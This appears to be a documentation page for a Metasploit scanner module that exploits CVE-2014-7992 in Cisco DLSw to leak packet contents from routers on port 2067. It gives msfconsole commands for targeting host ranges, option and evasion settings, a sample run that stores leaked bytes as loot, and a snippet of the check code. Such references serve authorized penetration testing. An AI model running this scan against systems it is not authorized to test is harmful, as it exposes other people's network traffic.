Cisco DLSw Information Disclosure Scanner - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/dlsw/dlsw_leak_capture metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Cisco DLSw Information Disclosure Scanner
Module: auxiliary/scanner/dlsw/dlsw_leak_capture
Source code: modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb
Disclosure date: 2014-11-17
Last modification time: 2017-08-26 21:01:10 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 2067
List of CVEs: CVE-2014-7992

This module implements the DLSw information disclosure retrieval. There is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains that allows an unauthenticated remote attacker to retrieve the partial contents of packets traversing a Cisco router with DLSw configured and active.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/dlsw/dlsw_leak_capture
msf auxiliary(dlsw_leak_capture) > show options
    ... show and set options ...
msf auxiliary(dlsw_leak_capture) > set RHOSTS ip-range
msf auxiliary(dlsw_leak_capture) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(dlsw_leak_capture) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(dlsw_leak_capture) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(dlsw_leak_capture) > set RHOSTS file:/tmp/ip_list.txt

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Vulnerable Application

This module implements the DLSw information disclosure retrieval. There is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains that allows an unauthenticated remote attacker to retrieve the partial contents of packets traversing a Cisco router with DLSw configured and active.

Verification Steps

  1. Start msfconsole
  2. Do: use modules/auxiliary/scanner/dlsw/dlsw_leak_capture
  3. Do: set RHOSTS [ip]
  4. Do: run

Scenarios

IOS version 12.4(8) and Kali Linux 2019.3

  msf > use modules/auxiliary/scanner/dlsw/dlsw_leak_capture
  msf auxiliary(scanner/dlsw/dlsw_leak_capture) > set RHOSTS 192.168.0.1
    RHOSTS => 192.168.0.1
  msf auxiliary(scanner/dlsw/dlsw_leak_capture) > run
    [*] 192.168.0.1:2067      - Checking for DLSw information disclosure (CVE-2014-7992)
    [+] 192.168.0.1:2067      - Vulnerable to DLSw information disclosure; leaked 72 bytes
    [*] 192.168.0.1:2067      - DLSw leaked data stored in /root/.msf4/loot/20191124231804_default_192.168.0.1_dlsw.packet.cont_518857.bin
    [*] 192.168.0.1:2067      - Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed

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Msfconsole Usage

Here is how the scanner/dlsw/dlsw_leak_capture auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/dlsw/dlsw_leak_capture

msf6 auxiliary(scanner/dlsw/dlsw_leak_capture) > show info

       Name: Cisco DLSw Information Disclosure Scanner
     Module: auxiliary/scanner/dlsw/dlsw_leak_capture
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-11-17

Provided by:
  Tate Hansen
  John McLeod
  Kyle Rainey

Check supported:
  Yes

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  LEAK_AMOUNT  1024             yes       The number of bytes to store before shutting down.
  RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT        2067             yes       The target port (TCP)
  THREADS      1                yes       The number of concurrent threads (max one per host)

Description:
  This module implements the DLSw information disclosure retrieval. 
  There is a bug in Cisco's DLSw implementation affecting 12.x and 
  15.x trains that allows an unauthenticated remote attacker to 
  retrieve the partial contents of packets traversing a Cisco router 
  with DLSw configured and active.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-7992
  https://github.com/tatehansen/dlsw_exploit

Module Options

This is a complete list of options available in the scanner/dlsw/dlsw_leak_capture auxiliary module:

msf6 auxiliary(scanner/dlsw/dlsw_leak_capture) > show options

Module options (auxiliary/scanner/dlsw/dlsw_leak_capture):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   LEAK_AMOUNT  1024             yes       The number of bytes to store before shutting down.
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        2067             yes       The target port (TCP)
   THREADS      1                yes       The number of concurrent threads (max one per host)

Advanced Options

Here is a complete list of advanced options supported by the scanner/dlsw/dlsw_leak_capture auxiliary module:

msf6 auxiliary(scanner/dlsw/dlsw_leak_capture) > show advanced

Module advanced options (auxiliary/scanner/dlsw/dlsw_leak_capture):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   CHOST                                 no        The local client address
   CPORT                                 no        The local client port
   ConnectTimeout       10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                  false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                             no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode        PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion           Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/dlsw/dlsw_leak_capture module can do:

msf6 auxiliary(scanner/dlsw/dlsw_leak_capture) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the scanner/dlsw/dlsw_leak_capture auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/dlsw/dlsw_leak_capture) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No response

Here is a relevant code snippet related to the "No response" error message:

52:	  def check_host(_ip)
53:	    print_status("Checking for DLSw information disclosure (CVE-2014-7992)")
54:	    response = get_response
55:	
56:	    if response.blank?
57:	      vprint_status("No response")
58:	      Exploit::CheckCode::Safe
59:	    elsif response[0..1] == "\x31\x48" || response[0..1] == "\x32\x48"
60:	      vprint_good("Detected DLSw protocol")
61:	      report_service(
62:	        host: rhost,

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References

See Also

Check also the following modules related to this module:

Authors

  • Tate Hansen
  • John McLeod
  • Kyle Rainey

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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